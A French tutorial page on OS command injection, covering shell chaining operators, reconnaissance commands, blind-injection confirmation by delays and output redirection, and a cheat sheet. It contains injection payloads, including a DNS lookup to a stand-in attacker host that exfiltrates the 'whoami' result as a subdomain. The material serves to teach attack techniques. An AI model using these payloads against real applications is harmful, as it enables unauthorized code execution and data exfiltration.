Aller au contenu

Injection de commandes système

L'injection de commandes système (OS command injection) consiste à détourner un point d'entrée d'une application transmis à une commande du système d'exploitation, pour lui faire exécuter des commandes arbitraires. L'application construit une commande shell en y intégrant une entrée utilisateur sans l'assainir ; on profite de la syntaxe du shell pour greffer ses propres commandes. L'impact est direct et grave, puisqu'on exécute du code sur le serveur lui-même.

Syntaxe shell utile

Construire un exploit suppose de connaître les opérateurs du shell qui permettent d'enchaîner ou d'imbriquer des commandes :

  • & enchaîne deux commandes (whoami & echo test) ;
  • | redirige la sortie d'une commande vers l'entrée de la suivante (cat fichier | grep "erreur") ;
  • || exécute la seconde commande seulement si la première échoue (équivalent d'un try/except) ;
  • && exécute la seconde seulement si la première réussit (équivalent d'un if) ;
  • sur les systèmes Unix, ; et le saut de ligne (0x0a) séparent aussi les commandes ;
  • les accents graves `...` ou $(...) exécutent une commande à l'intérieur d'une autre.

Quand l'entrée est insérée entre guillemets dans la commande, il faut d'abord refermer ces guillemets avant d'injecter sa propre commande. Quelques commandes de reconnaissance utiles selon le système :

Objectif Linux Windows
Utilisateur courant whoami whoami
Système d'exploitation uname -a ver
Configuration réseau ifconfig ipconfig /all
Connexions réseau netstat -an netstat -an
Processus en cours ps -ef tasklist

Injection aveugle

L'injection est dite aveugle lorsque la sortie de la commande n'apparaît nulle part dans la réponse. Il faut alors confirmer son exécution par des moyens indirects.

Provoquer un délai. On exécute une commande qui prend un temps mesurable ; si la réponse tarde d'autant, l'injection a fonctionné. Un ping d'une dizaine de paquets vers la boucle locale, ou un sleep, font l'affaire :

& ping -c 10 127.0.0.1 &
& sleep 10 &

Rediriger la sortie vers un fichier accessible. Si l'application sert des fichiers statiques depuis un répertoire connu, on y écrit la sortie de la commande puis on la consulte dans le navigateur :

& whoami > /var/www/static/sortie.txt &

La sortie devient alors lisible à https://site-vulnerable.example/sortie.txt. Dans l'historique de Burp, il faut penser à afficher les types MIME des images pour ne pas masquer ces requêtes.

Techniques hors-bande (OAST). On déclenche une interaction réseau vers un système que l'on contrôle, typiquement une résolution DNS via nslookup :

& nslookup sonde.attaquant.example &

La réception d'une requête DNS confirme l'exécution (attention à ne pas filtrer uniquement les requêtes HTTP dans l'affichage). On peut même exfiltrer une donnée en la plaçant comme sous-domaine, grâce à l'imbrication de commandes :

& nslookup `whoami`.attaquant.example &

Le résultat de whoami apparaît alors comme sous-domaine dans les journaux du serveur contrôlé.

Aide-mémoire

Situation Approche
Enchaîner une commande &, ;, saut de ligne
Conditionner l'exécution && (si succès), || (si échec)
Imbriquer une commande `cmd` ou $(cmd)
Sortie visible Commande de reconnaissance directe (whoami, uname -a)
Aveugle — confirmer Délai (ping, sleep)
Aveugle — récupérer la sortie Redirection vers un fichier statique accessible
Aveugle — réseau seul OAST via nslookup, exfiltration en sous-domaine

Sortir d'éventuels guillemets entourant le point d'injection et adapter la syntaxe au système cible (Unix ou Windows) sont les deux réflexes à conserver tout au long de l'exploitation.